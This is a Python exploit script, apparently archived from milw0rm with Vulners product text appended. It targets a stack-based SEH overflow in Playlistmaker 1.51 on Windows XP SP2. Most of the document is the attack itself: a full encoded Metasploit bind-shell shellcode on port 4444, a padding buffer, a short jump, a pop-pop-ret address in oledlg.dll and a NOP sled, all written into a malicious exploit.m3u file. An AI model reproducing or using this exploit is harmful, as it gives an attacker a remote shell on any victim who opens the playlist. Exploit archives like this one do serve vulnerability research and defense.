# Playlistmaker version 1.51
# Tested on Windows XP SP2 (English)
# Exploit originally discovered by ThE g0bL!N/exploited by germaya_x
# I could not get germaya_x's exploit to work with XP3.
# The only useable p/p/r I could find was in oledlg.dll
# which seems to be compiled with SafeSEH on in XP SP3.
# However, oledlg.dll is useable in XP SP2.
print "\n========================"
print "Playlistmaker v1.5 (SEH)"
print "Exploit written by Blake"
print "Discovered by ThE g0bL!N"
print "========================\n"
# windows/shell_bind_tcp - 696 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444, RHOST=
shellcode = (
"\x89\xe2\xdb\xce\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x42\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b"
"\x4f\x4b\x4f\x43\x50\x4c\x4b\x42\x4c\x46\x44\x47\x54\x4c\x4b"
"\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a"
"\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31"
"\x4a\x4b\x47\x39\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x46"
"\x51\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43\x37"
"\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c\x34\x47"
"\x4b\x46\x34\x47\x54\x47\x58\x43\x45\x4d\x35\x4c\x4b\x51\x4f"
"\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c"
"\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x44\x43\x46\x4c\x4c\x4b"
"\x4c\x49\x42\x4c\x47\x54\x45\x4c\x43\x51\x49\x53\x46\x51\x49"
"\x4b\x43\x54\x4c\x4b\x51\x53\x50\x30\x4c\x4b\x47\x30\x44\x4c"
"\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x47\x30\x45\x58\x51"
"\x4e\x42\x48\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f"
"\x49\x46\x42\x46\x50\x53\x42\x46\x45\x38\x50\x33\x50\x32\x42"
"\x48\x42\x57\x43\x43\x46\x52\x51\x4f\x50\x54\x4b\x4f\x4e\x30"
"\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x4e"
"\x36\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x44\x48"
"\x45\x52\x51\x45\x42\x4a\x44\x42\x4b\x4f\x4e\x30\x45\x38\x48"
"\x59\x45\x59\x4c\x35\x4e\x4d\x46\x37\x4b\x4f\x48\x56\x51\x43"
"\x50\x53\x46\x33\x46\x33\x51\x43\x50\x43\x51\x43\x51\x53\x46"
"\x33\x4b\x4f\x4e\x30\x43\x56\x43\x58\x44\x51\x51\x4c\x42\x46"
"\x50\x53\x4b\x39\x4b\x51\x4a\x35\x42\x48\x4e\x44\x45\x4a\x44"
"\x30\x49\x57\x46\x37\x4b\x4f\x49\x46\x42\x4a\x44\x50\x46\x31"
"\x46\x35\x4b\x4f\x48\x50\x45\x38\x4e\x44\x4e\x4d\x46\x4e\x4b"
"\x59\x46\x37\x4b\x4f\x4e\x36\x50\x53\x51\x45\x4b\x4f\x4e\x30"
"\x45\x38\x4d\x35\x47\x39\x4d\x56\x47\x39\x50\x57\x4b\x4f\x4e"
"\x36\x50\x50\x51\x44\x46\x34\x50\x55\x4b\x4f\x4e\x30\x4a\x33"
"\x42\x48\x4b\x57\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x49"
"\x46\x51\x45\x4b\x4f\x48\x50\x43\x56\x43\x5a\x42\x44\x45\x36"
"\x43\x58\x43\x53\x42\x4d\x4c\x49\x4b\x55\x42\x4a\x50\x50\x51"
"\x49\x47\x59\x48\x4c\x4d\x59\x4a\x47\x43\x5a\x50\x44\x4d\x59"
"\x4d\x32\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32\x46"
"\x4d\x4b\x4e\x47\x32\x46\x4c\x4d\x43\x4c\x4d\x42\x5a\x47\x48"
"\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b\x4e\x48\x33\x45"
"\x46\x4b\x4f\x43\x45\x50\x44\x4b\x4f\x4e\x36\x51\x4b\x50\x57"
"\x50\x52\x50\x51\x50\x51\x46\x31\x42\x4a\x45\x51\x50\x51\x46"
"\x31\x46\x35\x50\x51\x4b\x4f\x48\x50\x45\x38\x4e\x4d\x49\x49"
"\x45\x55\x48\x4e\x51\x43\x4b\x4f\x4e\x36\x43\x5a\x4b\x4f\x4b"
"\x4f\x50\x37\x4b\x4f\x48\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43"
"\x48\x44\x43\x54\x4b\x4f\x48\x56\x46\x32\x4b\x4f\x4e\x30\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x49\x46"
"\x4b\x4f\x4e\x30\x41\x41")
#[ Buffer ][ Short Jump ][ P/P/R ][ NOP Sled ][ Shellcode ]
payload = "\x41" * 992 # buffer
payload += "\xEB\x09\x90\x90" # short jump
payload += "\x67\x15\xd3\x74" # overwrites SEH Handler => P/P/R (oledlg.dll) 0x74d31567
payload += "\x90" * 20 # NOP Sled
payload += shellcode # shellcode
print "[+] Creating exploit file"
try:
file = open("exploit.m3u","w")
file.write(payload)
file.close()
print "[+] Exploit file created"
except:
print "[x] Error creating file!"
# milw0rm.com [2009-08-18]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation